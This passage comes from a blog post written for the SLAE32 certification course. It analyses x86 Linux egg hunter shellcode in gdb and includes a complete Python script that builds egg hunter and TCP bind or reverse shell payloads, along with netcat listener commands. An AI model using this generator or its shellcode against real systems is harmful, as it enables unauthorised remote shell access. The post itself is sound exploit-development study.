gcc:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 3: Egg Hunter Shellcode]\n\u2514\u2500# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\n<\/pre><\/div>\n\n\n<p>We set up the netcat listener, execute the compiled shellcode binary and obtain a reverse shell. This time we note that the printed egg hunter shellcode for <strong>sigaction()<\/strong> is less than both implementations using <strong>action()<\/strong>, at 30 bytes total.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428235453.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Egg hunter 3 analysis<\/h3>\n\n\n\n<p>Next, we inspect the third egg hunter implementation using gdb, starting with the disassemble instruction:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220429112405.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The <strong>ECX<\/strong> register is set to the first page in memory to be checked for validity:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220429112522.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The syscall to <strong>sigaction()<\/strong> is set up by POPing <strong>0x43<\/strong> into the <strong>EAX<\/strong> register:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220429112627.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We see that the call to <strong>sigaction()<\/strong> works at an assembly level in almost the same way as the call to <strong>access()<\/strong>, with <strong>AL<\/strong> being compared to the value <strong>0xf2<\/strong> to indicate invalid memory.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220429112957.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We skip ahead to where the egghunter is loaded into memory, noting that this happens only after EDX is pointing to a valid page in memory.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220429113317.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The memory page contents in <strong>EDI<\/strong> is compared with the half half of the egg pointed to in <strong>EAX<\/strong> using <strong>scasd<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220429113456.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>If that matches, the second <strong>scasd<\/strong> instruction is reached, to compare the second half of the egg.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220429114015.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>If that also matches, the shellcode jumps to <strong>EDI<\/strong>, which points to our second stage shellcode.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220429114229.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>That concludes our analysis on the egg hunter shellcode implementations covered in the paper <a href=\"http:\/\/www.hick.org\/code\/skape\/papers\/egghunt-shellcode.pdf\">Safely Searching Process Virtual Address Space<\/a> by Skape.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Code<\/h3>\n\n\n\n<p>In addition to the assembly and C implementations of the egg hunter examples, we have implemented a Python wrapper script to automatically generate working demos of each egg hunter, with a choice of a bind or reverse shell payload.<\/p>\n\n\n\n<p>This code is as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/python3\n\nimport argparse\nimport sys\nimport os\nimport socket\n\ndef convert_args(address, port):\n\n        address = socket.inet_aton(address).hex()\n        le_address = bytearray.fromhex(address)\n        le_address.reverse()\n        address = &quot;0x{0}&quot;.format(''.join(format(x, '02x') for x in le_address))\n\n        address = hex(int(address, 16) ^ 0xffffffff)\n\n        port = hex(socket.htons(port))\n\n        return address, port\n\ndef set_args(payload, address, port):\n\n        address, port = convert_args(address, port)\n\n        asm = open(&quot;tcp_{}_shell_x86.nasm&quot;.format(payload), 'rt')\n        data = asm.read()\n\n        if payload == &quot;reverse&quot;:\n                data = data.replace('ADDRESS', address)\n                data = data.replace('PORT', port)\n\n        elif payload == &quot;bind&quot;:\n                data = data.replace('PORT', port)\n\n        asm.close()\n        asm = open('tmp.nasm', 'wt')\n        asm.write(data)\n        asm.close()\n\ndef set_shellcode(egghunter, shellcode):\n\n        shellcode_file = open(&quot;shellcode.c&quot;, &quot;rt&quot;)\n        data = shellcode_file.read()\n        data = data.replace(&quot;EGGHUNTER&quot;, egghunter)\n        data = data.replace(&quot;SHELLCODE&quot;, shellcode)\n\n        shellcode_file.close()\n        shellcode_file = open(&quot;tmp.c&quot;, &quot;wt&quot;)\n        shellcode_file.write(data)\n        shellcode_file.close()\n\ndef gen_shellcode(filename):\n\n        stream = os.popen(&quot;&quot;&quot;objdump -d {} |grep '&#x5B;0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\\\\\x\/g'|paste -d '' -s |sed 's\/^\/&quot;\/'|sed 's\/$\/&quot;\/g'&quot;&quot;&quot;.format(filename))\n        shellcode = stream.read().rstrip()\n        return shellcode.strip('&quot;')\n\ndef print_egghunter(shellcode, technique):\n\n        print(&quot;\\n&#x5B;*] Generating shellcode for x86 egg hunter using {} technique&quot;.format(technique))\n        print(&quot;&#x5B;*] Egg hunter length: %d bytes&quot; % ((len(shellcode.replace(&quot;\\\\x&quot;, &quot;&quot;)) \/2)-1))\n        print(&quot;&#x5B;*] Checking for NULL bytes...\\n%s&quot; % (&quot;&#x5B;-] NULL bytes found.&quot; if &quot;00&quot; in shellcode else &quot;&#x5B;+] No NULL bytes detected!&quot;))\n        print('&quot;' + shellcode + '&quot;')\n\ndef print_shellcode(shellcode, payload, address, port):\n\n        print(&quot;\\n&#x5B;*] Generating shellcode for x86 TCP {0} shell on {1}:{2}&quot;.format(payload, address, port))\n        print(&quot;&#x5B;*] Shellcode length: %d bytes&quot; % ((len(shellcode.replace(&quot;\\\\x&quot;, &quot;&quot;)) \/2)-1))\n        print(&quot;&#x5B;*] Checking for NULL bytes...\\n%s&quot; % (&quot;&#x5B;-] NULL bytes found.&quot; if &quot;00&quot; in shellcode else &quot;&#x5B;+] No NULL bytes detected!&quot;))\n        print('&quot;' + shellcode + '&quot;')\n\ndef main():\n\n        parser = argparse.ArgumentParser(description='Generate x86 egg hunter shellcode.')\n        payload_choices = &#x5B;'bind', 'reverse']\n        parser.add_argument('-t', '--technique', type=str, help='Technique to use for egghunter.', choices=&#x5B;'access', 'sigaction'])\n        parser.add_argument('-x', '--payload', type=str, help='Type of payload to execute', choices=payload_choices)\n        parser.add_argument('-l', '--lhost', required=(payload_choices&#x5B;1] in sys.argv), type=str, help='Remote IPv4 address for TCP reverse shell to connect to.', default=&quot;127.0.0.1&quot;)\n        parser.add_argument('-p', '--lport', type=int, help='Remote port for TCP reverse shell to connect to.', choices=range(0,65535), metavar=&quot;{0..65535}&quot;, default=4444)\n        parser.add_argument('-s', '--shellcode', help='Output shellcode only', action='store_true')\n\n        args = parser.parse_args()\n\n        if len(sys.argv) == 1:\n                parser.print_help()\n                sys.exit()\n\n        if args.lhost:\n                try:\n                        socket.inet_aton(args.lhost)\n                except:\n                        print(&quot;&#x5B;-] Invalid IP address entered. Exiting...&quot;)\n                        sys.exit()\n\n        # Modify the host address and port in tcp_reverse_shell_x86.nasm\n        set_args(args.payload, args.lhost, args.lport)\n\n        shell_filename = &quot;tcp_{}_shell_x86&quot;.format(args.payload)\n\n        if args.technique == &quot;access&quot;:\n                egg_filename = &quot;egg_hunter_access_2_x86&quot;\n        elif args.technique == &quot;sigaction&quot;:\n                egg_filename = &quot;egg_hunter_sigaction_x86&quot;\n\n        # Link and assemble egg hunter shellcode\n        os.system('nasm -f elf32 -o {0}.o {0}.nasm'.format(egg_filename))\n        os.system('ld -o {0} {0}.o'.format(egg_filename))\n\n        # Link and assembly second stage shellcode\n        os.system('nasm -f elf32 -o {}.o tmp.nasm'.format(shell_filename))\n        os.system('ld -o {0} {0}.o'.format(shell_filename))\n\n        # Egg pattern\n        egg = &quot;\\\\x90\\\\x50\\\\x90\\\\x50\\\\x90\\\\x50\\\\x90\\\\x50&quot;\n\n        # Dump the egg hunter shellcode using objdump\n        egghunter = gen_shellcode(egg_filename)\n\n        # Dump the second stage shellcode using objdump\n        shellcode = egg + gen_shellcode(shell_filename)\n\n        if args.shellcode:\n                # Print egg hunter shellcode\n                print_egghunter(egghunter, args.technique)\n\n                # Print second stage shellcode\n                print_shellcode(shellcode, args.payload, args.lhost, args.lport)\n                sys.exit()\n\n        # Place the generated egg hunter and second stage shellcode into C skselton file\n        set_shellcode(egghunter, shellcode)\n\n        # Compile C skeleton file\n        os.system('gcc -fno-stack-protector -z execstack tmp.c -o egg_hunter_{}_x86'.format(args.payload))\n\n        print(&quot;\\n&#x5B;*] Compiled shellcode for x86 egg hunter&quot;.format(args.technique, args.payload))\n        print(&quot;&#x5B;*] Technique: {}(2)&quot;.format(args.technique))\n        print(&quot;&#x5B;*] Payload: {} shell&quot;.format(args.payload))\n        if args.payload == &quot;bind&quot;:\n                print(&quot;&#x5B;*] Test by executing: .\/egg_hunter_bind_x86 and connecting with nc {0} {1}&quot;.format(args.lhost, args.lport))\n        if args.payload == &quot;reverse&quot;:\n                print(&quot;&#x5B;*] Test by starting a listener with nc -nlvp {} and executing .\/egg_hunter_reverse_x86&quot;.format(args.lport))\n\n        # Cleanup\n        os.system('rm tmp.nasm')\n        os.system('rm tmp.c')\n        os.system('rm *.o'.format(args.payload))\n        os.system('rm tcp_{}_shell_x86'.format(args.payload))\n\n        if args.technique == &quot;access&quot;:\n                os.system('rm egg_hunter_access_2_x86')\n        elif args.technique == &quot;sigaction&quot;:\n                os.system('rm egg_hunter_sigaction_x86')\n\nif __name__ == &quot;__main__&quot;:\n        main()\n<\/pre><\/div>\n\n\n<p>The Python, Assembly, and C source code for all three of the above egg hunter implementations can be found on my <a href=\"https:\/\/github.com\/war4uthor\/SLAE32\">GitHub repository<\/a>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>This blog post has been created for completing the requirements of the <a href=\"https:\/\/www.pentesteracademy.com\/course?id=3\">SecurityTube Linux Assembly Expert<\/a> certification.<\/p>\n\n\n\n<p><strong>Student ID:<\/strong> PA-6483<\/p>\n\n\n\n<p>All code was tested on 32-bit Kali Linux:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(jack\u327fkali)-&#x5B;~\/SLAE32\/Assignment 3: Egg Hunter Shellcode]\n\u2514\u2500$ uname -a\nLinux kali 5.5.0-kali2-686-pae #1 SMP Debian 5.5.17-1kali1 (2020-04-21) i686 GNU\/Linux\n<\/pre><\/div>\n\n\n<p>In the next blog post, we will be covering how to implement a custom shellcode encoder in assembly.<\/p>\n\n\n\n<p>Thanks for reading!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n","protected":false},"excerpt":{"rendered":"<p>In this blog post, we will be covering our process behind understanding and implementing egg hunter shellcode for x86 Linux in assembly. This post follows on in the series of posts created for the SLAE32 certification course provided by Pentester Academy. Overview During exploit development, one of the key contraints separating a successful exploit from&hellip;<\/p>\n","protected":false},"author":1,"featured_media":305,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[29,6,30,26,28],"tags":[27],"class_list":["post-280","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-assembly","category-certifications","category-linux","category-reverse-engineering","category-shellcoding","tag-slae32"],"_links":{"self":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts\/280","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=280"}],"version-history":[{"count":11,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts\/280\/revisions"}],"predecessor-version":[{"id":753,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/posts\/280\/revisions\/753"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/media\/305"}],"wp:attachment":[{"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=280"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=280"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=280"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}